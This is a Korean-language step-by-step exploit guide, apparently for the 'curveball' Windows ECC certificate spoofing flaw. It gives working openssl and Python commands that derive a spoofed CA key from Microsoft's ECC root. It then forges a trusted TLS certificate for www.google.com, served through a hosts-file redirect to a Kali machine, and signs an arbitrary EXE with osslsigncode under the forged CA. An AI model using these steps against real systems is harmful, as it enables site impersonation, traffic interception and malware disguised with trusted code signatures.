TLS 인증서 서명

신뢰할 수 있는 루트 인증서에서 스푸핑된 CA 키 생성 (secp384r1 및 PEM 형식이어야 함)

python gen-key.py MicrosoftECCProductRootCertificateAuthority.cer

스푸핑된 키를 사용하여 스푸핑된 CA 생성

openssl req -new -x509 -key spoofed-ca-key.pem -out spoofed-ca.pem -config ca.cnf

스푸핑된 CA에 의해 서명될 다른 SSL 인증서 생성 (모든 종류)

openssl ecparam -name secp384r1 -genkey -noout -out cert.key

인증서에 대한 인증서 서명 요청 생성

openssl req -new -key cert.key -out cert.csr -config openssl.cnf -reqexts v3_req

스푸핑된 CA 인증서를 사용하여 CSR 서명

openssl x509 -req -in cert.csr -CA spoofed-ca.pem -CAkey spoofed-ca-key.pem -CAcreateserial -out cert.crt -days 10000 -extfile openssl.cnf -extensions v3_req

스푸핑된 인증서 체인으로 HTTPS 서버 시작

python httpServer.py

WINDOWS 시스템에서

<kali.machine.ip> www.google.com을 hosts 파일에 추가 (google을 서버로 리디렉션)

HTTPS://www.google.com 방문

인증서가 신뢰되어야 하며, 'Hello World'가 표시되어야 함

오류 발생 시 시스템 시간이 올바른지 확인

코드 서명

신뢰할 수 있는 루트 인증서에서 스푸핑된 CA 키 생성 (secp384r1 및 PEM 형식이어야 함)

python gen-key.py MicrosoftECCProductRootCertificateAuthority.cer

스푸핑된 키를 사용하여 스푸핑된 CA 생성

openssl req -new -x509 -key spoofed-ca-key.pem -out spoofed-ca.pem -config ca-cs.cnf

코드 서명에 사용할 수 있는 새 키 생성

openssl ecparam -name secp384r1 -genkey -noout -out cert.key

서명할 수 있는 키를 사용하여 인증서 서명 요청 생성

openssl req -new -key cert.key -out cert.csr -config openssl-cs.cnf -reqexts v3_req

스푸핑된 CA를 사용하여 CSR 서명

openssl x509 -req -in cert.csr -CA spoofed-ca.pem -CAkey spoofed-ca-key.pem -CAcreateserial -out cert.crt -days 10000 -extfile openssl-cs.cnf -extensions v3_req

키, 인증서 및 스푸핑된 CA를 PKCS12 파일로 패키징하여 EXE 서명에 사용

openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed-ca.pem -name "Code Signing" -out cert.p12

PKCS12 파일을 사용하여 실행 파일 서명

osslsigncode sign -pkcs12 cert.p12 -n "Signed by curveball" -in filename.exe -out filename_signed.exe